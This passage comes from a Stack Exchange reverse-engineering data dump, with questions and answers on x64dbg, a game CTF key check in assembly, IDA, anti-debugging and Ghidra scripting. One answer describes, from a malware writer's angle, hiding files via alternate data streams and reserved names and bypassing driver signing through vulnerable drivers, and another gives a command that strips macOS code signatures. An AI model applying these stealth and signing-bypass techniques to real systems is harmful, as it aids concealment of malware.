mic. So I thought I might need &lt;strong&gt;DllCall&lt;/strong&gt; or &lt;strong&gt;PostMessage&lt;/strong&gt; here, like what message was sent or what &lt;em&gt;dll&lt;/em&gt; was called when I click &lt;code&gt;apply&lt;/code&gt; but I couldn't find anything on it on the Internet. I don't know how to make Windows understand that this setting has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please teach me how to reverse engineer this with x64dbg.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24923" LastEditorUserId="24923" LastEditDate="2020-05-28T17:04:06.583" LastActivityDate="2023-10-27T14:07:25.610" Title="Reverse engineer Listen to this device on Windows - Reverse engineer Windows when there's no API" Tags="|windows|dll|x64dbg|windows-10|" AnswerCount="3" CommentCount="18" ContentLicense="CC BY-SA 4.0" />
  <row Id="23455" PostTypeId="2" ParentId="23435" CreationDate="2020-03-17T11:55:36.240" Score="1" Body="&lt;p&gt;The fact that this value is not checksummed (as I understand?) is very confusing but it might suggest either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the protocol really doesn't care about bit flips in this value (and needn't drop the packet in that case)&lt;/li&gt;&#xA;&lt;li&gt;the value is not yet known during the checksumming process&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I really don't have a clue, if I had to take a shot in the dark I'd say this is some kind of sanity check that checks that something &lt;strong&gt;approximately&lt;/strong&gt; correct over a long period of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am reading the question correctly, you always see the same sequence when you start it? This makes me think random number generator, probably &lt;a href=&quot;https://en.wikipedia.org/wiki/Linear_congruential_generator&quot; rel=&quot;nofollow noreferrer&quot;&gt;LCG&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Xorshift&quot; rel=&quot;nofollow noreferrer&quot;&gt;XOR shifter&lt;/a&gt;. In both cases the algorithm can be reverse engineered with enough data. And if it is an RNG it will &lt;em&gt;eventually&lt;/em&gt; repeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly except for the 05, all values are 230 plus something from 0 to 16 (inclusive!!) There could be a mod-17 going on somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seen another way, they are all within 238 +- 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why an RNG? Beats me. Theoretically you could work out how many packets have been sent since it was turned on by observing a sequence of them. A strange sort of sequence number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't always seeing the same sequence... could it be a time-delta (the time since the last reading?) to prevent clock drift or something. I don't know what the point would be, and it's strange that the same value never repeats twice in a row. But it might fit with the theory that it isn't known at checksum-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck...&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2020-03-17T11:55:36.240" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23456" PostTypeId="2" ParentId="23452" CreationDate="2020-03-17T16:00:57.240" Score="2" Body="&lt;p&gt;There are ways to do it without resorting to hooking or drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example alternate data streams (ADS), or creating files with &quot;illegal&quot;, i.e. reserved, names (&lt;code&gt;NUL&lt;/code&gt;, &lt;code&gt;CON&lt;/code&gt; ... trailing &lt;code&gt;.&lt;/code&gt;, alternative casing to an existing file). Yep, that's right a trailing dot in a file name is illegal in Win32, but the most frequently used file system (NTFS) has no trouble creating or handling them. For ADS it's also possible to stick it onto a folder, which some tools don't handle improperly. That is, instead of &lt;code&gt;C:\Windows\regedit.exe:yourfile&lt;/code&gt; you could stick it to &lt;code&gt;C:\Windows:yourfile&lt;/code&gt;. Not sure if it's possible, but as a malware writer I'd also check out special files like &lt;code&gt;\$Mft&lt;/code&gt; for a possibility to tack an ADS onto ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sidestepping the Win32 name parsing&lt;/a&gt; is one great way of hiding in plain sight without resorting to the NT native API. Some specific cases of accessing the file may still require the singular use of the NT native API, however (even though creating and removing such a file doesn't necessarily).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to write a file system filter driver, but your trouble in this case is that Windows requires drivers to be signed. So if you write a dodgy driver chances are you won't get it counter-signed by Microsoft. Depends on how much testing they do on drivers before &lt;em&gt;attestation signing&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For file system filter drivers you could opt for mini-filters, which are relatively easy to write (with comprehensive sample code in the Windows Driver Kit), but have to follow certain rules. Again, due to the signing requirements this may be impossible to get through signing. However, if it's just for learning you can enable test-signing on Windows and play around with it. In recent Windows 10 this is the only official method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to write a legacy file system filter driver (such as the filter manager, &lt;code&gt;fltmgr.sys&lt;/code&gt;, is), as it gives you more liberties. Alas, it's also a much more involved endeavor with a steeper learning curve. And in the end the same signing requirements exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from standard filter drivers you could do dodgy stuff such as stealing another driver's entry points (typically for the IRP major functions) and thereby piggyback on the functionality of such a driver. Yet again signing requirements are an obstacle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And one last way I want to mention would be to analyze existing drivers and see if you can find any exploitable vulnerabilities in them. If you find some, it's like a jackpot and you can sidestep all those signing requirements. But it's also the most involved of all the possible routes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mandatory reading: &lt;a href=&quot;https://nostarch.com/rootkits&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Rootkits and Bootkits&quot;&lt;/a&gt;, which explains how certain malware types hide outside the file system, and the older one named &quot;Rootkits&quot; from 2005 by Greg Hoglund.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One more note: not sure what you hope to get from this, but hooking seems to be the least reliable, yet most flag-raising option you have. Not sure why you insist (as per your comment) on this.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2020-03-17T16:00:57.240" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23457" PostTypeId="2" ParentId="23450" CreationDate="2020-03-17T17:41:10.610" Score="5" Body="&lt;p&gt;After a bit more research, and help from a friend, I figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;movss&lt;/code&gt; and &lt;code&gt;mov&lt;/code&gt; are &lt;strong&gt;opcodes&lt;/strong&gt; and its usually in the form of a &lt;strong&gt;float&lt;/strong&gt; (for movss atleast)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, hence, you CAN change its value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply write &lt;code&gt;movss [..address..],(float)###&lt;/code&gt; replace ### with your number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for my question, it works, I have disabled the entire game's health decrement. Making all creatures and players invulnerable forever using the same method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As seen here by MY use of it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes, I know it was about modifying the movss, but my value IS a float, its just stored in the &quot;form&quot; of an Integer, so it uses mov, you can use this same movss code.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;code:&#xA;  mov [rbx+00000164],(float)100&#xA;  jmp return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov&lt;/code&gt; is like saying &lt;code&gt;move&lt;/code&gt;, it moves the value in the operand and sends it to the address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So its as simple as moving a number. I just had bad formatting, and didnt realise you had to specify the data type via something like &lt;code&gt;(float)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="29482" LastActivityDate="2020-03-17T17:41:10.610" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23458" PostTypeId="2" ParentId="23435" CreationDate="2020-03-17T19:24:18.047" Score="1" Body="&lt;p&gt;Finally, after carrying out multiple tests it seems that it can be garbage, keeping this value fixed I have been able to send a command externally and it has worked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to all for the help&lt;/p&gt;&#xA;" OwnerUserId="31407" LastActivityDate="2020-03-17T19:24:18.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23459" PostTypeId="1" AcceptedAnswerId="23466" CreationDate="2020-03-18T00:50:30.810" Score="-1" ViewCount="305" Body="&lt;p&gt;Disclaimer: I'm not asking for the solution to this problem, but for you to point out the particular areas or techniques of reverse engineering that I need to improve at in order to solve this problem myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in question comes from the game &quot;Sourcery,&quot; it's basically a CTF inside a game. The game doesn't give you the ability to debug or modify the code whatsoever, so the problem to solve here is to find an input that will make &lt;code&gt;verify_code&lt;/code&gt; return 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I had the idea of trying to brute force the solution, i.e. trying all possible codes until I find one that works. The range of acceptable characters for the code is all printable ascii chars, and we need to figure out 16 chars, which seems like it would take too much time to brute force unless you were able to reduce the character range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that is making this hard for me to mentally analyze is that it seems like if you change one character, it can change the effect that successive characters have on the execution path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to approach this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; int verify_code(char *code)&#xA;verify_code:&#xA;    push esi&#xA;    push ebp&#xA;    mov ebp, esp&#xA;    sub esp, 8&#xA;&#xA;    push dword [ebp + 12]&#xA;    call strlen&#xA;    cmp eax, 16&#xA;; the code must be 16 characters long.&#xA;    jne .bad&#xA;&#xA;    mov esi, [ebp + 12]&#xA;    mov edx, 0xfa&#xA;&#xA;    mov al, [esi]&#xA;    rol edx, 5&#xA;    xor dl, al&#xA;    add dl, 0xab&#xA;&#xA;    mov al, [esi+1]&#xA;    rol edx, 3&#xA;    xor dl, al&#xA;    add dl, 0x45&#xA;&#xA;    mov al, [esi+2]&#xA;    rol edx, 1&#xA;    xor dl, al&#xA;    add dl, 0x12&#xA;&#xA;    mov al, [esi+3]&#xA;    rol edx, 9&#xA;    xor dl, al&#xA;    add dl, 0xcd&#xA;&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'a'&#xA;    cmp [esi+4], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 12&#xA;    xor dl, cl&#xA;    add dl, 0x87&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'a'&#xA;    cmp [esi+5], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 3&#xA;    xor dl, cl&#xA;    add dl, 0xef&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'C'&#xA;    cmp [esi+6], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 1&#xA;    xor dl, cl&#xA;    add dl, 0x10&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'f'&#xA;    cmp [esi+7], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 13&#xA;    xor dl, cl&#xA;    add dl, 0x9a&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'e'&#xA;    cmp [esi+8], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 9&#xA;    xor dl, cl&#xA;    add dl, 0xa8&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'D'&#xA;    cmp [esi+9], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 7&#xA;    xor dl, cl&#xA;    add dl, 0xca&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'D'&#xA;    cmp [esi+10], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 2&#xA;    xor dl, cl&#xA;    add dl, 0x91&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'c'&#xA;    cmp [esi+11], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 5&#xA;    xor dl, cl&#xA;    add dl, 0x86&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'A'&#xA;    cmp [esi+12], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 6&#xA;    xor dl, cl&#xA;    add dl, 0xf1&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'e'&#xA;    cmp [esi+13], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 3&#xA;    xor dl, cl&#xA;    add dl, 0x1f&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'B'&#xA;    cmp [esi+14], cl&#xA;    jne .bad&#xA;&#xA;    rol edx, 4&#xA;    xor dl, cl&#xA;    add dl, 0x90&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'f'&#xA;    cmp [esi+15], cl&#xA;    jne .bad&#xA;&#xA;    mov al, 1&#xA;    mov esp, ebp&#xA;    pop ebp&#xA;    pop esi&#xA;    ret 4&#xA;&#xA;.bad:&#xA;    xor al, al&#xA;    mov esp, ebp&#xA;    pop ebp&#xA;    pop esi&#xA;    ret 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24467" LastActivityDate="2021-03-21T20:19:54.177" Title="How to reason about this rotating XOR problem?" Tags="|cryptography|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23460" PostTypeId="2" ParentId="23459" CreationDate="2020-03-18T03:13:28.517" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;If the above code can be assembled into object code, the code can be emulated&lt;/li&gt;&#xA;&lt;li&gt;If the above code can be assembled into object code and then linked into a stand-alone executable, you can analyze it however you like&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not good at or interested in trying to perform computations like these mentally or tracing them out on paper, so if I was in this kind of situation I would first try to wrangle this code into a form that can be assembled into a stand-alone executable (for example, there needs to be a ‘_start’ or ‘main’). If this can be done, symbolic execution coupled with an SMT solver can be used to find solutions automatically (angr). From my perspective, successfully creating a binary executable out of this code is the ideal solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative approach is emulation. After having assembled the above code using the Keystone engine, analysis can be performed via &lt;a href=&quot;https://github.com/unicorn-engine/unicorn/blob/master/bindings/python/sample_x86.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unicorn&lt;/a&gt; or the &lt;a href=&quot;https://github.com/qilingframework/qiling&quot; rel=&quot;nofollow noreferrer&quot;&gt;Qiling framework&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.keystone-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Keystone tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;a somewhat related question, in which Keystone and Unicorn were used to assemble and analyze some object code: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/22931/is-there-a-handy-assembly-to-mock-app-conversion-tool&quot;&gt;Is there a handy assembly to mock app conversion tool?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2020-03-19T12:42:31.303" LastActivityDate="2020-03-19T12:42:31.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23462" PostTypeId="1" CreationDate="2020-03-18T11:39:46.907" Score="1" ViewCount="1636" Body="&lt;p&gt;I'm reverse engineering an old DOS game that's using the DOS/4GW extender. The game includes some libraries that I already successfully reversed in a different application, so I'm pretty sure that the declaration for the function that is making trouble is correct. Nonetheless, the function in question shows the error message &lt;code&gt;// local variable allocation has failed, the output may be wrong!&lt;/code&gt;.&#xA;When looking at the assembly, it seems like there's a problem with the stack definition, as can be seen here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lWrEG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lWrEG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried to edit the function and make some adaptions (unfortunately I'm lacking a little bit of experience there), but to no avail.&#xA;Here's a screenshot of the declarations/stack frame and the function's initial options without changes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uR1TJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uR1TJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the cause for the failed allocation and how can one fix it? &lt;/p&gt;&#xA;" OwnerUserId="30305" LastActivityDate="2021-06-17T09:05:05.577" Title="IDA/Hexrays: local variable allocation has failed; how to fix this?" Tags="|ida|decompilation|hexrays|dos|stack-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23463" PostTypeId="2" ParentId="23459" CreationDate="2020-03-18T11:43:17.183" Score="1" Body="&lt;p&gt;if the ctf does not give you the ability to debug&lt;br&gt;&#xA;lift it to something else and emulate&lt;br&gt;&#xA;basically rol() is not reversible per se&lt;br&gt;&#xA;you may have to bit wrangle with this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a python lifted manipulation of first character   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#rol copy paste from https://gist.github.com/trietptm/5cd60ed6add5adad6a34098ce255949a&#xA;max_bits =16&#xA;rol = lambda val, r_bits, max_bits: \&#xA;    (val &amp;lt;&amp;lt; r_bits%max_bits) &amp;amp; (2**max_bits-1) | \&#xA;    ((val &amp;amp; (2**max_bits-1)) &amp;gt;&amp;gt; (max_bits-(r_bits%max_bits)))&#xA;&#xA;#========================start of emul=================&#xA;input = &quot;abcdefghijklmnop&quot;              # 16 long char*&#xA;esi= input                              # mov esi, [ebp + 12]&#xA;edx=0xfa                                # mov edx, 0xfa&#xA;al=esi[0:1]                             # mov al, [esi] ==&amp;gt; 'a = 0x61 ==&amp;gt; 97'&#xA;edx = rol(edx,5,max_bits)               # rol edx, 5    ==&amp;gt;  0x1f40&#xA;dl  = ( (edx &amp;amp; 0x000000ff) ^ ord(al))   # xor dl,al     ==&amp;gt;  0x1f21&#xA;edx = (edx &amp;amp; 0xffffff00) | dl  + 0xab   # add dl, 0xab  ==&amp;gt;  0x1fcc&#xA;print (hex(edx))   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can use  debugger like ollydbg,x64dbg etc and assemble this inside and single step through this &#xA;or use emulators like unicorn after converting this mnemonic into suitable hex &#xA;with say keystone &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a python confirmation (basically a rol ,5 on a 32bit just appends 5 0x0 at the end )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;python -c &quot;print(hex((int(bin(0xfa)+'00000',2)^ord('a'))+0xab))&quot;&#xA;0x1fcc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this block you are constrained to an input range of only {a,b,c,..p}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov cl, dl    (assuming dl spans {0...255}&#xA;and cl, 15    (dl &amp;amp; 0x0f willl span {0x0..0xf}&#xA;add cl, 'a'   {adding 0x0 to 0x61 will make it constrained to a..a+15 ==&amp;gt;&#xA; a to p and 5 the charecter must be the result of first 4 charecters manipulated result } &#xA;cmp [esi+4], cl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-03-18T12:35:37.490" LastActivityDate="2020-03-18T12:35:37.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23465" PostTypeId="1" CreationDate="2020-03-18T19:53:03.357" Score="1" ViewCount="867" Body="&lt;p&gt;The application I target has terribly annoying anti-debugging techniques. With x32dbg and ScyllaHide with the following configuration, the application exits immediately as soon as a breakpoint is hit, whether it is a software or hardware breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following are my settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5tUkQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5tUkQ.png&quot; alt=&quot;ScyllaHide settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A VEH debugger (I tried Cheat Engine) catches the exception. However, when it catches the exception, the Cheat Engine debugger shows the call stack as &quot;empty&quot; with a single setting showing 0x00000000 as the return address, so it's useless. However the exception code is 0xC0000005 so I know it's access violation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other anti-anti-debugging techniques can I use to get past the mechanism where the application crashes when a breakpoint gets hit?&lt;/p&gt;&#xA;" OwnerUserId="31414" LastActivityDate="2020-04-20T23:04:40.527" Title="Finding call trace of a crashing executable with anti-debugging techniques" Tags="|anti-debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23466" PostTypeId="2" ParentId="23459" CreationDate="2020-03-19T07:08:16.863" Score="1" Body="&lt;p&gt;After looking over the assembly source again, I realized that the last 12 characters of the code depended completely on the values of the first 4. Because of this, you can generate the last 12 characters from the first 4. The code can be lifted (as suggested by other answers) with some small modifications to the code to perform writes instead of cmp+jne.&#xA;Note: The encryption method is basically a Feistel cipher.&lt;/p&gt;&#xA;&lt;p&gt;Below is the modified lifted code I used to generate the flag:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;section .text&#xA;    global _start&#xA;_start:&#xA;    call generate_code&#xA;    mov edx, 16     ;message length&#xA;    mov ecx, msg    ;message to write&#xA;    mov ebx, 1      ;file descriptor (stdout)&#xA;    mov eax, 4      ;system call number (sys_write)&#xA;    int 0x80        ;syscall&#xA;    jmp _done&#xA;_done:&#xA;    mov eax, 1      ;system call number (sys_exit)&#xA;    int 0x80        ;syscall&#xA;    &#xA;generate_code:&#xA;    push esi&#xA;    push ebp&#xA;    mov ebp, esp&#xA;&#xA;    mov esi, msg&#xA;    mov edx, 0xfa&#xA;&#xA;    mov al, [esi]&#xA;    rol edx, 5&#xA;    xor dl, al&#xA;    add dl, 0xab&#xA;    &#xA;    mov al, [esi+1]&#xA;    rol edx, 3&#xA;    xor dl, al&#xA;    add dl, 0x45&#xA;&#xA;    mov al, [esi+2]&#xA;    rol edx, 1&#xA;    xor dl, al&#xA;    add dl, 0x12&#xA;&#xA;    mov al, [esi+3]&#xA;    rol edx, 9&#xA;    xor dl, al&#xA;    add dl, 0xcd&#xA;&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'a'&#xA;    mov [esi+4], cl&#xA;&#xA;    rol edx, 12&#xA;    xor dl, cl&#xA;    add dl, 0x87&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'a'&#xA;    mov [esi+5], cl&#xA;&#xA;    rol edx, 3&#xA;    xor dl, cl&#xA;    add dl, 0xef&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'C'&#xA;    mov [esi+6], cl&#xA;&#xA;    rol edx, 1&#xA;    xor dl, cl&#xA;    add dl, 0x10&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'f'&#xA;    mov [esi+7], cl&#xA;&#xA;    rol edx, 13&#xA;    xor dl, cl&#xA;    add dl, 0x9a&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'e'&#xA;    mov [esi+8], cl&#xA;&#xA;    rol edx, 9&#xA;    xor dl, cl&#xA;    add dl, 0xa8&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'D'&#xA;    mov [esi+9], cl&#xA;&#xA;    rol edx, 7&#xA;    xor dl, cl&#xA;    add dl, 0xca&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'D'&#xA;    mov [esi+10], cl&#xA;&#xA;    rol edx, 2&#xA;    xor dl, cl&#xA;    add dl, 0x91&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'c'&#xA;    mov [esi+11], cl&#xA;&#xA;    rol edx, 5&#xA;    xor dl, cl&#xA;    add dl, 0x86&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'A'&#xA;    mov [esi+12], cl&#xA;&#xA;    rol edx, 6&#xA;    xor dl, cl&#xA;    add dl, 0xf1&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'e'&#xA;    mov [esi+13], cl&#xA;&#xA;    rol edx, 3&#xA;    xor dl, cl&#xA;    add dl, 0x1f&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'B'&#xA;    mov [esi+14], cl&#xA;&#xA;    rol edx, 4&#xA;    xor dl, cl&#xA;    add dl, 0x90&#xA;    mov cl, dl&#xA;    and cl, 15&#xA;    add cl, 'f'&#xA;    mov [esi+15], cl&#xA;&#xA;    mov al, 1&#xA;    mov esp, ebp&#xA;    pop ebp&#xA;    pop esi&#xA;    ret&#xA;    &#xA;section .data&#xA;    msg db  '0000000000000000', 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24467" LastEditorUserId="24467" LastEditDate="2021-03-21T20:19:54.177" LastActivityDate="2021-03-21T20:19:54.177" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23467" PostTypeId="2" ParentId="13622" CreationDate="2020-03-19T12:00:44.727" Score="-1" Body="&lt;pre&gt;&lt;code&gt;codesign --remove-signature /path/to/binaryAppName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested it on macOS 10.15.3 Catalina, works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit the hex values of the now removed code signature binaries and it will launch on macOS with out a hitch.&lt;/p&gt;&#xA;" OwnerUserId="31442" LastActivityDate="2020-03-19T12:00:44.727" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23468" PostTypeId="1" AcceptedAnswerId="26950" CreationDate="2020-03-19T21:59:56.083" Score="0" ViewCount="164" Body="&lt;p&gt;I'm looking at a binary file whose starting bytes are &lt;code&gt;0x4E 0x58 0x50&lt;/code&gt;. Is this an established magic number for a file format? If so, what format is it? My google-fu has proven too weak to find an answer on the intertubes.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2021-02-05T09:48:04.230" Title="Is there a image format that starts with 0x4E 0x58 0x50 (ASCII 'NXP')?" Tags="|file-format|binary-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23469" PostTypeId="1" AcceptedAnswerId="23470" CreationDate="2020-03-20T01:19:47.877" Score="6" ViewCount="3246" Body="&lt;p&gt;I am using ghidra to do some reverse engineering of an ARM binary. I am wondering whether there is a way to get the basic blocks related to all the listing. Is there a function through the IDE or a script through the script manager that I could used in order to get basic blocks at least within a function. Though I found scripts to decompile the binary I couldn't find a function that listed the basic blocks. Apart from ghidra is there any other reverse engineering tools that would help me to achieve this job? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="31454" LastActivityDate="2023-10-17T19:08:20.140" Title="Way to get basic blocks of a binary using Ghidra" Tags="|binary-analysis|firmware|radare2|ghidra|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23470" PostTypeId="2" ParentId="23469" CreationDate="2020-03-20T08:31:53.163" Score="8" Body="&lt;p&gt;You can obtain the list of all defined basic blocks using &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/block/BasicBlockModel.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;BasicBlockModel&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ghidra.program.model.block import BasicBlockModel&#xA;from ghidra.util.task import TaskMonitor&#xA;&#xA;bbm = BasicBlockModel(currentProgram)&#xA;blocks = bbm.getCodeBlocks(TaskMonitor.DUMMY)&#xA;block = blocks.next()&#xA;&#xA;while block:&#xA;    print &quot;Label: {}&quot;.format(block.name)&#xA;    print &quot;Min Address: {}&quot;.format(block.minAddress)&#xA;    print &quot;Max address: {}&quot;.format(block.maxAddress)&#xA;    print&#xA;    block = blocks.next()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Output&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Label: LAB_0048b428&#xA;Min Address: 0048b428&#xA;Max address: 0048b43f&#xA;&#xA;Label: httpStringPut&#xA;Min Address: 0048b440&#xA;Max address: 0048b46b&#xA;&#xA;Label: 0048b46c&#xA;Min Address: 0048b46c&#xA;Max address: 0048b47f&#xA;&#xA;Label: LAB_0048b480&#xA;Min Address: 0048b480&#xA;Max address: 0048b4b3&#xA;&#xA;Label: httpBoundaryGet&#xA;Min Address: 0048b4c0&#xA;Max address: 0048b4cf&#xA;&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to print disassembly of the basic blocks you can modify the script as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ghidra.program.model.block 